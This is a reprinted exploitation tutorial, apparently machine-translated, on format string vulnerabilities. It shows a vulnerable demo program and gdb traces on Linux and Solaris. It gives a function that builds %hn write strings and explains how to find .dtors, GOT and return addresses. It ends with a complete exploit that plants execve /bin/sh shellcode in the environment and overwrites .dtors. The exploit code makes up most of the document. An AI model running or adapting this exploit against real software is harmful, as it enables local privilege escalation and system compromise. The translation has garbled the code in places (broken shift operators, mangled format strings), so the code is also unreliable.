How to exploit the format Overflow Vulnerability
Created:
Article attributes: Reprinted
Article submitted: silverlizard (silverlizard_at_vertarmy.org)
By Sam
Directory:
1. What is the formatting overflow vulnerability?
2. How to create an exploit Format String
3. Determine the retaddr/retloc value.
4. General templates
1. What is the format strings overflow vulnerability?
I will not detail the article on formatting overflow, but mainly focus on how to exploit the formatting Overflow Vulnerability. If you are not familiar with format overflow, please
View the following link. If you have a basic understanding of the formatting overflow vulnerability in ASM/C, go to section 2nd.
For more information about formatting overflow, see the following link:
(1) Exploitation of the format string vulnerability in Linux
Http://www.nsfocus.net/index.php? Act = magazine & Do = view & Mid = 1635
(2) * printf () formatted string Security Vulnerability Analysis (top) (bottom)
Http://www.nsfocus.net/index.php? Act = magazine & Do = view & Mid = 533
Http://www.nsfocus.net/index.php? Act = magazine & Do = view & Mid = 534
(3) Writing of the Solaris for iSCSI Stack Overflow Program (continued)
Http://www.nsfocus.net/index.php? Act = magazine & Do = view & Mid = 683
2. How to create an exploit Format String
Next, I will explain in detail how to exploit a formatting Overflow Vulnerability.
A simple example of a formatting overflow vulnerability:
[Dove @ rh80 test] $ uname-
Linux rh80 2.4.18-14 #1 wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
[Dove @ rh80 test] $ cat./vulfs. c
Void Foo (char * Str ){
Char Buf [256];
Snprintf (BUF, sizeof (BUF), STR);/* directly print the data submitted by the user into the buffer, and there is no limit on the format string submitted by the user */
Printf ("% s/n", Buf );
Return;
}
Int main (INT argc, char ** argv)
{
Foo (argv [1]);
Return 0;
}
[Dove @ rh80 test] $ gcc-O vulfs. c
[Dove @ rh80 test] $./vulfs aaaabbbb
Aaaabbbb
[Dove @ rh80 test] $./vulfs BBBB % 20d % x
Bbbb 13451311142424242
[Dove @ rh80 test] $
If % x is changed to % N, the number of the preceding strings will be combined with the format of 4 bits (% 20d-> 20% d + 4 B = 24) write the address 0x000024242 corresponding to Bbbb.
(GDB) r BBBB % 20d % N
Starting program:/home/dove/test/vulfs BBBB % 20d % N
Program received signal SIGSEGV, segmentation fault.
0x4204a609 in vfprintf () from/lib/i686/libc. so.6
(GDB) BT
#0 0x4204a609 in vfprintf () from/lib/i686/libc. so.6
#1 0x4206a3e4 in vsnprintf () from/lib/i686/libc. so.6
#2 0x42052404 in snprintf () from/lib/i686/libc. so.6
#3 0x08048378 in Foo ()
#4 0x080483b4 in main ()
#5 0x420158d4 in _ libc_start_main () from/lib/i686/libc. so.6
(GDB) x/I $ EIP
0x4204a609 <vfprintf + 9993>: mov % edX, (% eax)
(GDB) I r edX eax
EdX 0x18 24
Eax 0x42424242 1111638594
(GDB)
OK, an exploit code can be constructed based on the above information. In the exploit code, we use % HN (to write the number of parameters to a 2-byte address) instead of % N.
You can use % HN twice
Here I wrote a function to automatically construct and format overflow strings.
/* Store an address in the specified region, for little-enbian */
Char *
Putlong (char * PTR, long value)
{
* PTR ++ = (char) (value> 0) & 0xff;
* PTR ++ = (char) (value> 8) & 0xff;
* PTR ++ = (char) (value> 16) & 0xff;
* PTR ++ = (char) (value> 24) & 0xff;
Return PTR;
}
/* Check whether the address contains zero bytes */
Int
Checkzero (long value)
{
Return! (Value & 0x00ffffff )&&
(Value & 0xff00ffff )&&
(Value & 0xffff00ff )&&
(Value & 0xffffff00 ));
}
/* Our function for constructing formatted strings */
/* Retloc: address to be overwritten */
/* Retaddr: Shellcode address */
/* Align: Adjust the character position */
/* Num: How many formatting characters are required to print junk data in the stack */
Void buildfs (char * sbuf, unsigned long retloc, unsigned long retaddr, int align, int num)
{
Int I;
Long Reth, retl;
Char * PTR;
/* Little enbian address arrangement */
# Ifdef le
Reth = (retaddr> 0) & 0 xFFFF;
Retl = (retaddr> 16) & 0 xFFFF;
# Endif
/* Arrangement of big enbian addresses */
# Ifdef be
Reth = (retaddr> 16) & 0 xFFFF;
Retl = (retaddr> 0) & 0 xFFFF;
# Endif
Printf ("retaddr high 2 bytes: 0x % x/low 2 bytes: 0x % x/N", Reth, retl );
Printf ("retloc address value: 0x % x/retloc + 2 address value: 0x % x/N", retloc, (retloc + 2 ));
Bzero (sbuf, sizeof (sbuf ));
/* Whether align is required to align format strings */
If (align <0 | align> 3 ){
Printf ("the value of align must be between 1-3, and the actual value of aglin: % LD/N", align );
Exit (1 );
}
/* Check whether there are zero bytes in retloc */
If (checkzero (retloc) | checkzero (retloc + 2 )){
Printf ("The retloc address contains zero bytes. The actual reloc value is % x, and the reloc + 2 value is % x/N", retloc, (retloc + 2 ));
Exit (1 );
}
/* Construct a formatted string */
PTR = sbuf;
For (I = 0; I <align; I ++ ){
* PTR ++ = 0x41;
}
PTR = putlong (PTR, 0x42424242 );
PTR = putlong (PTR, retloc );
PTR = putlong (PTR, 0x43434343 );
PTR = putlong (PTR, retloc + 2 );
For (I = 0; I <num; I ++ ){
Memcpy (PTR, "%. 8x", 4 );
PTR = PTR + 4;
}
Sprintf (PTR, "% UC % HN", (Reth-align-(Num * 8) + 16 )), 0x10000 + retl-Reth );
Return;
}
Here I will explain several detailed parameter functions
Void buildfs (char * sbuf, unsigned long retloc, unsigned long retaddr, int align, int num );
Char * sbuf: the buffer zone where the formatted string is constructed.
Unsigned long retloc: all the addresses we cover (which can change the execution process of the Program), such as the return address of the function,. dtors structure, got structure, and atexit structure.
Unsigned long retaddr: Address of the shellcode we constructed in the memory.
Int align: whether the formatted string needs to be aligned. For example, this problem occurs in some systems.
Construct such a string [a] [a] [a] aaaabbbb % x. [a] indicates optional. The value ranges from 1 to 3, for example:
[Dove @ rh80 test] $./vulfs aaaaabbbb % x
Aaaaabbbb... 4141414142424242
The value of align is 1.
Int num: requires num formatted string parameters to dump junk data in the memory. For example, we tested vulfs. C on Solaris sparc8 as follows:
Bash-2.05 $ uname-
SunOS sun8 5.8 Generic_108528-07 sun4u iSCSI sunw, Ultra-5_10
Bash-2.05 $./vulfs aaaabbbb % x % P
Aaaabbbb8223d8ff29bcbc041414141
Here we need 4% x to dump the junk data.
3. Determine the retaddr/retloc value.
There are a lot of accurate methods to get the shellcode address. We can use execve/execle to construct our own environment variables so that we can
Accurately calculates the retaddr value.
For example, in an x86 Linux environment, we can use the following formula:
Int retaddr = 0 xbffffffa-strlen (shellocde)-strlen ("./vulfs ");
This is also the concept in the world of iSCSI. Here we use a function written in warning3.
I have been worried about the value of reloc for a while, and now I have mastered a good way to get these addresses. In x86, we can use objdump to obtain
. Dtors/got address.
You can use this method to obtain the return address of a function in the case of the instance. However, not all return addresses of a function are valid and you need to try them one by one :).
Bash-2.05 $./vulfs aaaabbbb % x % N
Bus Error (core dumped)
Bash-2.05 $ GDB./vulfs Core
Gnu gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
Welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.8"... (no debugging symbols found )...
Core was generated by './vulfs aaaabbbb % x % n '.
Program terminated with signal 10, bus error.
Reading symbols from/usr/lib/libc. so.1. .. (no debugging symbols found)... done.
Loaded symbols for/usr/lib/libc. so.1
Reading symbols from/usr/lib/libdl. so.1. .. (no debugging symbols found)... done.
Loaded symbols for/usr/lib/libdl. so.1
Reading symbols from/usr/platform/sunw, Ultra-5_10/lib/libc_psr.so.1... (no debugging symbols found)... done.
Loaded symbols for/usr/platform/sunw, Ultra-5_10/lib/libc_psr.so.1
#0 0xff3038b4 in _ doprnt () from/usr/lib/libc. so.1
(GDB) x/I 0xff3038b4
0xff3038b4 <_ doprnt + 10912>: st % O0, [% O1]
(GDB) I r O0 O1
O0 0x17 23
O1 0x41414141 1094795585
(GDB) BT
#0 0xff3038b4 in _ doprnt () from/usr/lib/libc. so.1
#1 0xff3045d4 in snprintf () from/usr/lib/libc. so.1
#2 0x0000e0 in Foo ()
#3 0x10724 in main ()
(GDB) F 1
#1 0xff3045d4 in snprintf () from/usr/lib/libc. so.1
(GDB) P/x $ FP + 60
$1 = 0xffbefb44 // return address of snprintf
(GDB)
After obtaining retloc and retaddr, We can overflow.
4. Example Program
/* Heap_fs.c
* Heap format strings vuln example
* Sam: explioit:>
*/
# Include <stdio. h>
# Include <stdlib. h>
# Include <stdarg. h>
# Define max length 2048
Int log_it (const char * format ,...)
{
Char * P;
Va_list AP;
If (P = malloc (maxlength) = NULL)
Return-1;
Va_start (AP, format );
Vsnprintf (p, maxlength, format, AP );
# Ifdef help
Printf ("% s/n", P );
# Endif
Va_end (AP );
Free (P );
Return 0;
}
Int main (INT argc, char ** argv)
{
If (argc! = 2 ){
Printf ("need ARGs/N ");
Return-1;
}
Log_it (argv [1]);
Return 0;
}
/* Ex_heap_fs.c
* Exploit heap format strings vuln code
* By Sam
*
*/
# Include <stdio. h>
# Include <strings. h>
# Include <string. h>
# Include <stdlib. h>
# Include <signal. h>
# Include <unistd. h>
# Include <errno. h>
/*. Dtors */
# Define dtors_addr 0x80495bc + 4
# Define Hell "./heap_fs"
Char shellcode [] =
"/X90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/X90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/X90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/X90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/X90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/X90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
/* Shellcode */
"/X31/xc0/x31/XDB/xb0/x17/XCD/X80/xeb/x1f/x5e/x89/x76/x08/x31"
"/Xc0/x88/X46/x07/x89/X46/x0c/xb0/x0b/x89/xf3/x8d/x4e/x08/x8d"
"/X56/x0c/XCD/X80/x31/XDB/x89/xd8/X40/XCD/X80/xe8/xdc/xFF"
"/XFF/x2f/x62/x69/x6e/x2f/x73/x68/x58 ";
/*
* Put a address in MEM, for little-enbian
*
*/
Char *
Putlong (char * PTR, long value)
{
* PTR ++ = (char) (value> 0) & 0xff;
* PTR ++ = (char) (value> 8) & 0xff;
* PTR ++ = (char) (value> 16) & 0xff;
* PTR ++ = (char) (value> 24) & 0xff;
Return PTR;
}
/*
* Check the/x00 byte
*/
Int
Checkzero (long value)
{
Return! (Value & 0x00ffffff )&&
(Value & 0xff00ffff )&&
(Value & 0xffff00ff )&&
(Value & 0xffffff00 ));
}
/*
* Fixme:
* Build format strings
* Retloc: The addrees you wanna rewrite
* Retaddr: Shellcode address
* Align: The aligns
* Num: How many %. 8x can dump the stack data
* Offset: Some shellcode offset
*
*/
Void buildfs (char * sbuf, unsigned long retloc, unsigned long retaddr, int offset, int align, int num)
{
Int I;
Long Reth, retl;
Char * PTR;
/* Little enbian */
Reth = (retaddr> 0) & 0 xFFFF;
Retl = (retaddr> 16) & 0 xFFFF;
# Ifdef debug
Printf ("retaddr high word: 0x % x/low word: 0x % x/N", Reth, retl );
Printf ("retloc: 0x % x/retloc + 2: 0x % x/N", retloc, retloc + 2 );
# Endif
Bzero (sbuf, sizeof (sbuf ));
If (align <0 | align> 3 ){
Printf ("align must between 1-3 ,"
"The aglin vaule: % LD/N", align );
Exit (1 );
}
/* Check zero byte */
If (checkzero (retloc) | checkzero (retloc + 2 )){
Printf ("retloc have zero byte; </N ");
Exit (1 );
}
PTR = sbuf;
For (I = 0; I <align; I ++ ){
* PTR ++ = 0x41;
}
/* Padding */
PTR = putlong (PTR, 0x42424242 );
PTR = putlong (PTR, retloc );
PTR = putlong (PTR, 0x43434343 );
PTR = putlong (PTR, retloc + 2 );
For (I = 0; I <num; I ++ ){
Memcpy (PTR, "%. 8x", 4 );
PTR = PTR + 4;
}
Sprintf (PTR, "% UC % HN", Reth-offset-align-(Num * 8 + 16 ), 0x10000 + Offset + retl-Reth );
Return;
}
/*
* Main Function
*
*/
Int main ()
{
Int ret_addr;
Char Buf [256];
Char * ARGs [24];
Char * env [2];
/* Our shellcode address */
Ret_addr = 0 xbffffffa-strlen (shellcode)-strlen (hell );
/* Put in env */
Env [0] = shellcode;
Env [1] = NULL;
Printf ("use shellcode 0x % x/N", ret_addr );
Bzero (BUF, sizeof (BUF ));
/* Build format strings */
Buildfs (BUF, dtors_addr, ret_addr, 0, 3, 65);/* exploit */
/* Lamer */
ARGs [0] = hell;
ARGs [1] = Buf;
ARGs [2] = NULL;
Execve (ARGs [0], argS, ENV );
Perror ("execve ");
Return 0;
}
/* End of main */